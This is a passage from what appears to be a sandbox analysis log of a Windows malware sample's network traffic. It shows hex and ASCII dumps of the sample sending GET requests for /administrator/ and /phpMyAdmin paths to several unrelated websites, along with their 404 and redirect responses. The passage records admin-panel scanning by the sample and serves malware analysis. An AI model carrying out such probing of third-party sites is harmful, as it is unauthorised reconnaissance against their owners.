6c 6f 77 27 20 2f 3e 0a 0a 09 Data Ascii: <!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <meta name='robots' content='noindex, nofollow' />
2023-11-26 05:59:33 UTC	14994	IN	Data Raw: 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 23 77 65 62 73 69 74 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 22 2c 22 6e 61 6d 65 22 3a 22 53 74 61 67 69 6e 67 20 66 6f 72 20 4d 79 44 69 72 65 63 74 4c 65 6e 64 65 72 2e 63 6f 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 69 72 65 63 74 20 4c 65 6e 64 65 72 73 2c 20 4c 4c 43 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 Data Ascii: ext":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://mydirectlender.com/#website","url":"https://mydirectlender.com/","name":"Staging for MyDirectLender.com","description":"Direct Lenders, LLC","publisher":{"@id":"https://mydirectlender.c
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 69 64 6e 69 67 68 74 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6d 69 64 6e 69 67 68 74 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 73 6d 61 6c 6c 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 73 6d 61 6c 6c 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 65 64 69 75 6d 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 Data Ascii: set--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var
2023-11-26 05:59:33 UTC	4201	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 74 79 78 2d 73 69 64 65 62 61 72 20 63 6f 6c 2d 6d 64 2d 33 20 63 6f 6c 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 73 65 61 72 63 68 2d 31 22 20 63 6c 61 73 73 3d 22 77 69 64 67 65 74 20 77 69 64 67 65 74 5f 73 65 61 72 63 68 22 3e 3c 66 6f 72 6d 20 72 6f 6c 65 3d 22 73 65 61 72 63 68 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 69 64 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 73 65 Data Ascii: </div> </div> </div> <div class="styx-sidebar col-md-3 col-12"> <div id="search-1" class="widget widget_search"><form role="search" method="get" id="searchform" class="se

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	56357	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	173	OUT	GET /administrator/ HTTP/1.1 Host: knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	220	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheLocation: https://www.knu.ac.in/administrator/Content-Length: 304Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:33 UTC	304	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.knu.ac.in/administrator/">here</a>.</p><hr><address>Apache Serve

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	56824	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	175	OUT	GET /phpmyadmin HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	1079	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 32 2e 37 32 38 31 30 33 36 37 36 31 36 37 33 38 38 31 35 38 36 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978372.7281036761673881586Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10
2023-11-26 05:59:32 UTC	173	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-
2023-11-26 05:59:32 UTC	1252	IN	Data Raw: 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="
2023-11-26 05:59:32 UTC	1252	IN	Data Raw: 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 Data Ascii: party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/e
2023-11-26 05:59:32 UTC	188	IN	Data Raw: 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: egardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	56808	34.208.26.152	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	180	OUT	GET /administrator/ HTTP/1.1 Host: micro-design.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	411	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 37 2e 34 2e 31 35 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 6d 69 63 72 6f 2d 64 65 73 69 67 6e 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheX-Powered-By: PHP/7.4.15Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://micro-design.com/wp-json/>; rel="https://api
2023-11-26 05:59:33 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:33 UTC	8192	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 77 69 6e Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><meta name='robots' content='noindex, follow' /><script>win
2023-11-26 05:59:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:33 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:33 UTC	8192	IN	Data Raw: 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 32 32 32 32 32 32 32 32 32 32 32 32 32 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 36 36 36 36 36 36 36 36 36 36 36 37 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 65 6d 3b 7d 68 33 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 38 38 38 38 38 38 38 38 38 38 38 39 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 65 6d 3b 7d 68 34 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 Data Ascii: ntent h1{font-size:40px;font-size:2.2222222222222rem;line-height:1.4em;}h2,.entry-content h2{font-size:30px;font-size:1.6666666666667rem;line-height:1.25em;}h3,.entry-content h3{font-size:25px;font-size:1.3888888888889rem;line-height:1.2em;}h4,.entry-cont
2023-11-26 05:59:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:33 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:33 UTC	8192	IN	Data Raw: 2e 35 65 6d 20 31 2e 35 65 6d 3b 6d 61 72 67 69 6e 3a 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 20 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 2d 63 6f 6e 74 65 6e 74 20 2e 63 61 72 74 5f 69 74 65 6d 2e 65 64 64 5f 63 68 65 63 6b 6f 75 74 20 7b 70 61 64 64 69 6e 67 3a 20 31 65 6d 20 31 2e 35 65 6d 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 3b 7d 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 20 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 20 3e 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 Data Ascii: .5em 1.5em;margin: 0;text-align: center;}.astra-cart-drawer .astra-cart-drawer-content .cart_item.edd_checkout {padding: 1em 1.5em 0;text-align: center;margin-top: 0;}.astra-cart-drawer .widget_shopping_cart_content > .woocommerce-mini-cart__empty-message
2023-11-26 05:59:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	56827	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	179	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	662	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 70 62 69 64 3d 66 34 62 63 39 35 61 35 61 30 35 31 66 38 61 34 32 66 37 37 35 32 62 36 66 37 36 63 32 35 61 31 36 32 36 32 32 63 61 30 66 33 39 64 38 32 34 37 32 64 35 61 30 32 30 61 32 32 62 65 37 36 Data Ascii: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: pbid=f4bc95a5a051f8a42f7752b6f76c25a162622ca0f39d82472d5a020a22be76
2023-11-26 05:59:33 UTC	706	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 Data Ascii: <!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <meta name='robots' content='noindex, nofollow' />
2023-11-26 05:59:33 UTC	14994	IN	Data Raw: 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 23 77 65 62 73 69 74 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 22 2c 22 6e 61 6d 65 22 3a 22 53 74 61 67 69 6e 67 20 66 6f 72 20 4d 79 44 69 72 65 63 74 4c 65 6e 64 65 72 2e 63 6f 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 69 72 65 63 74 20 4c 65 6e 64 65 72 73 2c 20 4c 4c 43 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 Data Ascii: ext":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://mydirectlender.com/#website","url":"https://mydirectlender.com/","name":"Staging for MyDirectLender.com","description":"Direct Lenders, LLC","publisher":{"@id":"https://mydirectlender.c
2023-11-26 05:59:33 UTC	16384	IN	Data Raw: 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 69 64 6e 69 67 68 74 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6d 69 64 6e 69 67 68 74 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 73 6d 61 6c 6c 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 73 6d 61 6c 6c 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 65 64 69 75 6d 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 Data Ascii: set--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var
2023-11-26 05:59:33 UTC	4177	IN	Data Raw: 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 74 79 78 2d 73 69 64 65 62 61 72 20 63 6f 6c 2d 6d 64 2d 33 20 63 6f 6c 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 73 65 61 72 63 68 2d 31 22 20 63 6c 61 73 73 3d 22 77 69 64 67 65 74 20 77 69 64 67 65 74 5f 73 65 61 72 63 68 22 3e 3c 66 6f 72 6d 20 72 6f 6c 65 3d 22 73 65 61 72 63 68 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 69 64 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 68 74 74 Data Ascii: </div> </div> </div> <div class="styx-sidebar col-md-3 col-12"> <div id="search-1" class="widget widget_search"><form role="search" method="get" id="searchform" class="searchform" action="htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	56951	34.240.130.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
